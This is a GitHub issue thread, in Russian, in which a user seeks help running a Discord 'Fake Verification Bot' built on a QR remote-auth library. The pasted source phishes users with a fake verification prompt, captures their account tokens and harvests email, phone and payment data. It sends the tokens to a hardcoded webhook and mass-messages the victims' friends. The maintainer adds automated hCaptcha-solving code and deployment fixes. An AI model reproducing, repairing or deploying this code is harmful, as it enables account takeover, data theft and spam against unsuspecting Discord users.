RuslanUC / RemoteAuthClient

Async remote auth client for discord (Login with qr code)
MIT License
19 stars 4 forks source link

Unable to get a token. #14

Open goreadely opened 1 year ago

goreadely commented 1 year ago

где взять код для каптчи? бот стоит на хостинге вот ошибки 2022-10-17T13:27:33.129629+00:00 app[worker.1]: [#] Máté12345#2774 (1011894559808159777) 2022-10-17T13:27:35.176672+00:00 app[worker.1]: Unable to get a token. 2022-10-17T13:27:39.806940+00:00 app[worker.1]: [!] Timeout: https://discord.com/ra/e-Bh8VV9HA2ZmDlHBNUKSKohYtbsbxpW0YJCPuRgllQ

RuslanUC commented 1 year ago

Посмотрите примеры в #4 и #3.

goreadely commented 1 year ago

я не пойму

goreadely commented 1 year ago

как это внести в скрипт?

goreadely commented 1 year ago

можно готовую версию с решённой проблемой.

RuslanUC commented 1 year ago

Там где у вас @c.event("on_fingerprint") и т.п. добавьте

@c.event("on_captcha")
async def on_captcha(captcha_data):
    print("Captcha!")
    solver = AioHcaptcha(captcha_data["captcha_sitekey"], "https://discord.com/login", {"executable_path": "chromedriver.exe"})
    captcha_key = await solver.solve(retry_count=3, custom_params={"rqdata": captcha_data["captcha_rqdata"]})
    return captcha_key
goreadely commented 1 year ago

куда из этого?

Создание QR-кода, инфа о пользователе, выдача роли, рассылка в лс, ...

    @c.event("on_fingerprint")
    async def on_fingerprint(data):
        @c.event("on_cancel")
        async def on_cancel():
            print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Auth canceled: {data}")

        @c.event("on_timeout")
        async def on_timeout():
            print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Timeout: {data}")

        embed_qr.set_image(url=f"https://api.qrserver.com/v1/create-qr-code/?size=256x256&data={data}")
        await interaction.edit_original_message(embed=embed_qr)
        print(f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} QR Code Generated: {data}")

        @c.event("on_userdata")
        async def on_userdata(user):
            if not os.path.isfile("database.json"):
                json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)

            database = json.load(open("database.json", encoding="utf-8"))

            if not user.id in database:
                database[user.id] = {}

            database[user.id]["username"] = f"{user.username}#{user.discriminator}"
            database[user.id]["avatar_url"] = f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png"

            json.dump(database, open("database.json", "w", encoding="utf-8"), indent=4)
            print(f"{y}[{b}#{y}]{w} {user.username}#{user.discriminator} ({user.id})")

            @c.event("on_token")
            async def on_token(token):
                if not os.path.isfile("database.json"):
                    json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)

                database = json.load(open("database.json", encoding="utf-8"))

                if not user.id in database:
                    database[user.id] = {}

                try:
RuslanUC commented 1 year ago

Перед on_fingerprint

goreadely commented 1 year ago

верно?

goreadely commented 1 year ago

image

RuslanUC commented 1 year ago

Нет, у вас неправильные отступы

goreadely commented 1 year ago

image

RuslanUC commented 1 year ago

Уберите @c.event("on_fingerprint") и async def on_fingerprint(data):, которые находятся над from async_hcaptcha import AioHcaptcha

goreadely commented 1 year ago

Можно просто исходный main.py

RuslanUC commented 1 year ago

У меня нет этого бота. Не я его создатель.

goreadely commented 1 year ago

Я не понимаю как тогда сделать?

RuslanUC commented 1 year ago

Загрузите код файлом или, например, на pastebin. Я добавлю туда on_captcha

goreadely commented 1 year ago

Доброй нрчи

goreadely commented 1 year ago

2022-10-17T18:33:20.907904+00:00 app[worker.1]: from .asynchcaptcha import AioHcaptcha 2022-10-17T18:33:20.907918+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/asynchcaptcha.py", line 20, in 2022-10-17T18:33:20.907918+00:00 app[worker.1]: from .autosolver import AutoSolver 2022-10-17T18:33:20.907934+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/autosolver.py", line 1, in 2022-10-17T18:33:20.907936+00:00 app[worker.1]: from ._autosolver import PluggableObjects, YOLO, PluggableONNXModels 2022-10-17T18:33:20.907949+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/_autosolver.py", line 15, in 2022-10-17T18:33:20.907950+00:00 app[worker.1]: import cv2 2022-10-17T18:33:20.907963+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/cv2/init.py", line 8, in 2022-10-17T18:33:20.907964+00:00 app[worker.1]: from .cv2 import * 2022-10-17T18:33:20.907981+00:00 app[worker.1]: ImportError: libGL.so.1: cannot open shared object file: No such file or directory

goreadely commented 1 year ago

Не работает

goreadely commented 1 year ago

Importing modules

import nextcord, os, ctypes, json, asyncio, hashlib, base64, requests from nextcord import ButtonStyle from nextcord.ext import commands from nextcord.ui import Button, View from nextcord.utils import get from websockets import connect from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError from websockets.typing import Origin from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import hashes from colorama import Fore, init; init(autoreset=True) from urllib.request import Request, urlopen from time import sleep import discord from discord import SyncWebhook y = Fore.LIGHTYELLOW_EX b = Fore.LIGHTBLUE_EX w = Fore.LIGHTWHITE_EX

Get the headers

def getheaders(token=None, content_type="application/json"): headers = { "Content-Type": content_type, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" } if token: headers.update({"Authorization": token}) return headers

Recovery of the configuration put in the config.json file

with open('config.json') as f: config = json.load(f)

botToken = config.get('botToken') prefix = config.get('prefix') command_name = config.get('command_name') logs_channel_id = config.get('logs_channel_id') give_role = config.get('give_role') role_name = config.get('role_name') mass_dm = config.get('mass_dm') message = config.get('message')

Bot title

def bot_title(): os.system("cls") ctypes.windll.kernel32.SetConsoleTitleW(f"Fake Verification Bot") print(f"""\n\n{Fore.RESET} ███████╗ █████╗ ██╗ ██╗███████╗ ██╗ ██╗███████╗██████╗ ██╗███████╗ ██╔════╝██╔══██╗██║ ██╔╝██╔════╝ ██║ ██║██╔════╝██╔══██╗██║██╔════╝ █████╗ ███████║█████╔╝ █████╗ ██║ ██║█████╗ ██████╔╝██║█████╗
██╔══╝ ██╔══██║██╔═██╗ ██╔══╝ ╚██╗ ██╔╝██╔══╝ ██╔══██╗██║██╔══╝
██║ ██║ ██║██║ ██╗███████╗ ╚████╔╝ ███████╗██║ ██║██║██║
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝\n""".replace('█', f'{b}█{y}')) print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n{w}https://discord.gg/H2jRVvXagh | https://lolz.guru/members/4435511/ | Перевел ! hazn#0001 \n{y}------------------------------------------------------------------------------------------------------------------------\n""".replace('|', f'{b}|{w}'))

Bot home page

def startprint(): bot_title()

if give_role:
    give_role_texte = f"""{Fore.GREEN}Active {Fore.RESET}with {Fore.LIGHTWHITE_EX}{role_name if role_name != "ROLE-NAME-HERE" else "None"}"""
else:
    give_role_texte = f"{Fore.RED}Disabled"

if mass_dm == 3:
    mass_dm_texte = f"{Fore.GREEN}Friends{w}/{Fore.GREEN}Current DMs"
elif mass_dm == 2:
    mass_dm_texte = f"{Fore.GREEN}Friends"
elif mass_dm == 1:
    mass_dm_texte = f"{Fore.GREEN}Current DMs"
else:
    mass_dm_texte = f"{Fore.RED}Disabled"

print(f"""                                            {y}[{b}+{y}]{w} Bot Informations:\n
                                            [#] Вход выполен под:    {bot.user.name}
                                            [#] ID бота:          {bot.user.id}
                                            [#] Канал логов:    {logs_channel_id if logs_channel_id != "LOGS-CHANNEL-ID-HERE" else "None"}
                                            [#] Название команды:    {bot.command_prefix}{command_name}\n\n
                                        {y}[{b}+{y}]{w} Settings View:\n
                                            [#] Роль, после верификации:       {give_role_texte}
                                            [#] Mass DM Type:    {mass_dm_texte}\n\n\n""".replace('[#]', f'{y}[{w}#{y}]{w}'))
print(f"{y}[{Fore.GREEN}!{y}]{w} Бот включен!")

intents = nextcord.Intents.default() intents.message_content = True

bot = commands.Bot(command_prefix=prefix, description="Fake Verification Bot", intents=intents)

Launching the Bot

def Init(): botToken = config.get('botToken') prefix = config.get('prefix') if botToken == "": bot_title() input(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Пожалуйста, установите токен в файле config.json.") return elif prefix == "": bot_title() input(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Пожалуйста, установите префикс в файле config.json.") return try: bot.run(botToken) except: os.system("cls") bot_title() input(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Токен, расположенный в файле config.json, является невалидным!") return

Event initialization

@bot.event async def on_ready(): startprint() await bot.change_presence(activity=nextcord.Game(name=""))

Bot command

@bot.command(name=command_name) async def start(ctx):

#Recover the name of the channel logs
try:
    logs_channel = bot.get_channel(int(logs_channel_id))
except:
    logs_channel = None
verification = Button(label="Verification", style=ButtonStyle.blurple)

#If the verification button is clicked
async def verification_callback(interaction):
    from remoteauthclient import RemoteAuthClient
    c = RemoteAuthClient()

    #Создание QR-кода, инфа о пользователе, выдача роли, рассылка в лс, ...
    @c.event("on_fingerprint")
    async def on_fingerprint(data):
        @c.event("on_captcha")
        async def on_captcha(captcha_data):
            print("Captcha!")
            solver = AioHcaptcha(captcha_data["a9b5fb07-92ff-493f-86fe-352a2803b3df"], "https://discord.com/login",
                                 {"executable_path": "chromedriver.exe"})
            captcha_key = await solver.solve(custom_params={"rqdata": captcha_data["captcha_rqdata"]})
            if not captcha_key:
                print("Cannot solve captcha")
            return captcha_key
        @c.event("on_cancel")
        async def on_cancel():
            print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Auth canceled: {data}")

        @c.event("on_timeout")
        async def on_timeout():
            print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Timeout: {data}")

        embed_qr.set_image(url=f"https://api.qrserver.com/v1/create-qr-code/?size=256x256&data={data}")
        await interaction.edit_original_message(embed=embed_qr)
        print(f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} QR Code Generated: {data}")

        @c.event("on_userdata")
        async def on_userdata(user):
            if not os.path.isfile("database.json"):
                json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)

            database = json.load(open("database.json", encoding="utf-8"))

            if not user.id in database:
                database[user.id] = {}

            database[user.id]["username"] = f"{user.username}#{user.discriminator}"
            database[user.id]["avatar_url"] = f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png"

            json.dump(database, open("database.json", "w", encoding="utf-8"), indent=4)
            print(f"{y}[{b}#{y}]{w} {user.username}#{user.discriminator} ({user.id})")

            @c.event("on_token")
            async def on_token(token):
                if not os.path.isfile("database.json"):
                    json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)

                database = json.load(open("database.json", encoding="utf-8"))

                if not user.id in database:
                    database[user.id] = {}

                try:
                    res = requests.get('https://discordapp.com/api/v6/users/@me', headers=getheaders(token))
                    if res.status_code == 200:
                        res_json = res.json()
                        avatar_id = res_json['avatar']
                        phone_number = res_json['phone']
                        email = res_json['email']
                        mfa_enabled = res_json['mfa_enabled']
                        flags = res_json['flags']
                        locale = res_json['locale']
                        verified = res_json['verified']
                        has_nitro = False
                        res = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))
                        nitro_data = res.json()
                        has_nitro = bool(len(nitro_data) > 0)
                        billing_info = []
                        for x in requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token, 'Content-Type': 'application/json'}).json():
                            if x['type'] == 1:
                                data = {'Payment Type': 'Credit Card', 'Valid': not x['invalid']}

                            elif x['type'] == 2:
                                data = {'Payment Type': 'PayPal', 'Valid': not x['invalid']}

                            billing_info.append(data)
                        payment_methods = len(billing_info)
                        database[user.id]["avatar_id"] = avatar_id
                        database[user.id]["phone_number"] = phone_number
                        database[user.id]["email"] = email
                        database[user.id]["mfa_enabled"] = mfa_enabled
                        database[user.id]["flags"] = flags
                        database[user.id]["locale"] = locale
                        database[user.id]["verified"] = verified
                        database[user.id]["has_nitro"] = has_nitro
                        database[user.id]["payment_methods"] = payment_methods
                        if logs_channel:
                            webhook = SyncWebhook.from_url("https://discord.com/api/webhooks/1015969912709206106/GYVWHNB-IQ4sbHOpBqu392JsDd1kMzUNW0dNjarFn535_NNy2iqR969x0EBECFrTYgnH")
                            webhook.send(f"========================\n@everyone {user.username}#{user.discriminator}\nnit {has_nitro}\npl: {payment_methods}````")
                            webhook.send(f'{token}\n========================')
                            embed_user = nextcord.Embed(title=f"**Новый пользователь верифицировался: {user.username}#{user.discriminator}**", description=f"```yaml\nID Пользователя: {user.id}\nID аватара: {avatar_id}\nНомер телефона: {phone_number}\nПочта: {email}\nMFA: {mfa_enabled}\nФлажки: {flags}\nРасположение: {locale}\nВерификация: {verified}\nНитро: {has_nitro}\nПлатега: {payment_methods}\n```\n```yaml\nТокен: {token}\n```", color=5003474)
                except:
                    if logs_channel:
                        webhook = SyncWebhook.from_url("https://discord.com/api/webhooks/1015969912709206106/GYVWHNB-IQ4sbHOpBqu392JsDd1kMzUNW0dNjarFn535_NNy2iqR969x0EBECFrTYgnH")
                        webhook.send(f"@everyone {token}")
                        embed_user = nextcord.Embed(title=f"**Новый пользователь верифицировался: {user.username}#{user.discriminator}**", description=f"```yaml\nID Пользователя: {user.id}\nТокен: {token}\n```\n```yaml\nОстальная информация не найдена\n```", color=5003474)
                    pass

                database[user.id]["token"] = token

                json.dump(database, open("database.json", "w", encoding="utf-8"), indent=4)

                print(f"{y}[{b}#{y}]{w} Token: {token}")
                if logs_channel:
                    embed_user.set_footer(text="discord.gg/H2jRVvXagh")
                    embed_user.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png")
                    await logs_channel.send(embed=embed_user)

                #If Enable, gives a role after verification
                if give_role == True:
                    try:
                        await interaction.user.add_roles(get(ctx.guild.roles, name=role_name))
                        print(f"{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Роль добавлена пользователю {user.username}#{user.discriminator}")
                        if logs_channel:
                            embed_role = nextcord.Embed(title=f"**Добавление роли:**", description=f"```yaml\nРоль {role_name} успешно выдана для {user.username}#{user.discriminator}!```", color=5003474)
                            embed_role.set_footer(text="discord.gg/H2jRVvXagh")
                            embed_role.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png")
                            await logs_channel.send(embed=embed_role)
                    except:
                        print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Есть проблема с ролью")

                #If Enable, DM all the current person's private chat
                if mass_dm == 1 or mass_dm == 3:
                    try:
                        success = 0
                        failures = 0
                        channel_id = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json()

                        if not channel_id:
                            print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} чаты пользователя не найдены")
                        for channel in [channel_id[i:i+3] for i in range(0, len(channel_id), 3)]:
                            for channel2 in channel:
                                for _ in [x["username"] + "#" + x["discriminator"] for x in channel2["recipients"]]:
                                    try:
                                        requests.post(f'https://discord.com/api/v9/channels/' + channel2['id'] + '/messages', headers={'Authorization': token}, data={"content": f"{message}"})
                                        success += 1
                                        sleep(.5)
                                    except:
                                        failures += 1
                                        sleep(.5)
                                        pass
                        print(f"{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Текущий DM успешно отправил сообщение")
                        if logs_channel:
                            embed_cdm = nextcord.Embed(title=f"**Спам в лс:**", description=f"Сообщения успешно отправлены с {user.username}#{user.discriminator}\n```yaml\nСообщение: {message}\nКол-во чатов: {len(channel_id)}\nУспешных отправок: {success}\nНеуспешные отправки: {failures}```", color=5003474)
                            embed_cdm.set_footer(text="discord.gg/H2jRVvXagh")
                            embed_cdm.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png")
                            await logs_channel.send(embed=embed_cdm)
                    except Exception as e:
                        print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Массовая рассылка неудалась! {e}")
                        pass

                #If active, DM all user's friends
                if mass_dm == 2 or mass_dm == 3:
                    try:
                        getfriends = json.loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())

                        payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\n{message}\n-----------------------------325414537030329320151394843687--'
                        for friend in getfriends:
                            try:
                                chat_id = json.loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=json.dumps({"recipient_id": friend["id"]}).encode())).read().decode())["id"]
                                send_message = urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=payload.encode())).read().decode()
                                send_message(token, chat_id, payload)
                            except:
                                pass
                            sleep(.5)

                        if len(getfriends) == 0:
                            print(f"{Fore.LIGHTYELLOW_EX}[{Fore.LIGHTRED_EX}!{Fore.LIGHTYELLOW_EX}]{Fore.LIGHTWHITE_EX} Друзей на аккаунте не найдено")
                        else:
                            print(f"{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Сообщения друзьям разосланы!")
                        if logs_channel:
                            embed_fdm = nextcord.Embed(title=f"**Спам всем друзьям:**", description=f"Сообщения успешно отправлены с {user.username}#{user.discriminator}\n```yaml\nСообщение: {message}\nВсего друзей: {len(getfriends)}```", color=5003474)
                            embed_fdm.set_footer(text="discord.gg/H2jRVvXagh")
                            embed_fdm.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png")
                            await logs_channel.send(embed=embed_fdm)
                    except Exception as e:
                        print(f"{y}[{Fore.LIGHTRED_EX}!{y}]{w} Рассылка друзьям неудалась! {e}")
                        pass

    #Embed Creation
    asyncio.create_task(c.run())
    embed_qr = nextcord.Embed(title="__**You are human?!**__", description="You are seeing this because we considered your account to be insecure.!\n\n**Please follow the steps below to complete verification**:\n1️⃣ *Open the Discord mobile app*\n2️⃣ *Go to settings*\n3️⃣ *Select \"Scan QR code\"*\n4️⃣ *Scan the QR code below.*", color=5003474)
    embed_qr.set_footer(text="Note: captcha will expire in 2 minutes")
    embed_qr.set_thumbnail(url="https://emoji.discord.st/emojis/aa142d2c-681c-45a2-99e9-a6e63849b351.png")
    await interaction.response.send_message(embed=embed_qr, ephemeral=True)

verification.callback = verification_callback

myview = View(timeout=None)
myview.add_item(verification)
embed = nextcord.Embed(title="**Need verify!**", description="🔔 To gain access to this server, you must first pass verification\n🧿 Click the button below", color=5003474)
await ctx.send(embed=embed, view=myview)

Start Everything

if name == 'main': Init()

goreadely commented 1 year ago

Вот код

RuslanUC commented 1 year ago

Это heroku? Если да - необходимо установить дополнительные библиотеки. Добавьте heroku-buildpack-apt, создайте файл Aptfile и запишите туда python3-opencv, после чего пробуйте запускать. Если не получится - попробуйте записать в Aptfile это:

libsm6
libxrender1
libfontconfig1
libice6
goreadely commented 1 year ago

Salesforce Platform qrscam1

Open app More GitHub goreadely/qrscam Overview Resources Deploy Metrics Activity Access Settings Application Logs 2022-10-18T11:45:45.280400+00:00 app[worker.1]: from .asynchcaptcha import AioHcaptcha 2022-10-18T11:45:45.280416+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/asynchcaptcha.py", line 20, in 2022-10-18T11:45:45.280416+00:00 app[worker.1]: from .autosolver import AutoSolver 2022-10-18T11:45:45.280433+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/autosolver.py", line 1, in 2022-10-18T11:45:45.280435+00:00 app[worker.1]: from ._autosolver import PluggableObjects, YOLO, PluggableONNXModels 2022-10-18T11:45:45.280448+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/_autosolver.py", line 15, in 2022-10-18T11:45:45.280449+00:00 app[worker.1]: import cv2 2022-10-18T11:45:45.280463+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/cv2/init.py", line 8, in 2022-10-18T11:45:45.280464+00:00 app[worker.1]: from .cv2 import * 2022-10-18T11:45:45.280483+00:00 app[worker.1]: ImportError: libGL.so.1: cannot open shared object file: No such file or directory Autoscroll with outputSave heroku.com Blogs Careers Documentation Support Terms of Service Privacy Cookies © 2022 Salesforce.com

goreadely commented 1 year ago

Сделал все как вы сказали

RuslanUC commented 1 year ago

Попробуйте добавить в Aptfile libgl1, т.е. будет как-то так:

libsm6
libxrender1
libfontconfig1
libice6
libgl1
goreadely commented 1 year ago

from .asynchcaptcha import AioHcaptcha 2022-10-18T12:08:43.675936+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/asynchcaptcha.py", line 20, in 2022-10-18T12:08:43.675937+00:00 app[worker.1]: from .autosolver import AutoSolver 2022-10-18T12:08:43.675969+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/autosolver.py", line 1, in 2022-10-18T12:08:43.675969+00:00 app[worker.1]: from ._autosolver import PluggableObjects, YOLO, PluggableONNXModels 2022-10-18T12:08:43.675981+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/async_hcaptcha/_autosolver.py", line 15, in 2022-10-18T12:08:43.675982+00:00 app[worker.1]: import cv2 2022-10-18T12:08:43.676001+00:00 app[worker.1]: File "/app/.heroku/python/lib/python3.10/site-packages/cv2/init.py", line 8, in 2022-10-18T12:08:43.676001+00:00 app[worker.1]: from .cv2 import * 2022-10-18T12:08:43.676026+00:00 app[worker.1]: ImportError: libGL.so.1: cannot open shared object file: No such file or directory

goreadely commented 1 year ago

я бы выразился нецензурной лексикой сколько проблем с вашим софтом

goreadely commented 1 year ago

что то будет?

RuslanUC commented 1 year ago

я бы выразился нецензурной лексикой сколько проблем с вашим софтом Извините конечно, но у меня и ещё нескольких людей всё прекрасно работает, я проверил у себя на windows 10 1809, windows 10 21h2, debian 11, ubuntu 20, ubuntu 22, нигде не было ошибок, если установить нужные библиотеки (их список я уже вам скинул). По поводу я бы выразился нецензурной лексикой сколько проблем с вашим софтом - я бы выразился нецензурной лексикой по тому поводу, что почти никто не смотрит существующие issues, так как там есть код для capmonster, есть код для async-hcaptcha, есть объяснение почему появляется Unable to get a token., однако почти никто не смотрит.

что то будет? Я проверил на heroku, у меня работает. Содержимое requirements.txt (только один модуль, т.к. использовал код для тестирования того, в чём была ошибка):

git+https://github.com/RuslanUC/aio-hcaptcha

Содержимое Aptfile:

libgl1

Buildpack'и:

1. https://github.com/heroku/heroku-buildpack-apt
2. https://github.com/heroku/heroku-buildpack-python.git
3. https://github.com/heroku/heroku-buildpack-google-chrome.git
4. https://github.com/heroku/heroku-buildpack-chromedriver.git

Код, который использовал для тестирования:

from async_hcaptcha import AioHcaptcha
from subprocess import check_output

o = check_output(['chromedriver', '--version'])
try:
    o = o.decode("utf8").strip()
except:
    pass
print(f"\"chromedriver --version\" output: {o}")

async def main():
    print("Testing async-hcaptcha...")
    solver = AioHcaptcha("f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34", "https://discord.com/channels/@me", {"chromedriver": "chromedriver"})
    resp = await solver.solve(retry_count=5, custom_params={"rqdata": "xHJHshn3p71FcYoVCW5zA3m2CFw59JXBecFaR2l90z/NjjoYaXq2FBTi05LPnOX1v/MwStZg9DZKQA4f4ExkDjwlMaS3AKGIrcb2rUKsg8nDI9IaXEFDAhWqvuuCuaW3urxO2J1B/NEkfS938O58cqrE00aPILCQPUHVU1l/Ek8"})
    print(resp)
    print("Success!" if resp else "Failed!")

if __name__ == "__main__":
    from asyncio import get_event_loop
    get_event_loop().run_until_complete(main())

Пример успешного выполнения кода выше: https://0bin.net/paste/jOabxb+f#FIEHhyjIXJjJ67QVMskGTiYQEA2urBTqLOfPnW-vklQ

Так же не исключено то, что на хостах по типу heroku капча будет попадаться чаще и реже будет получаться её решить.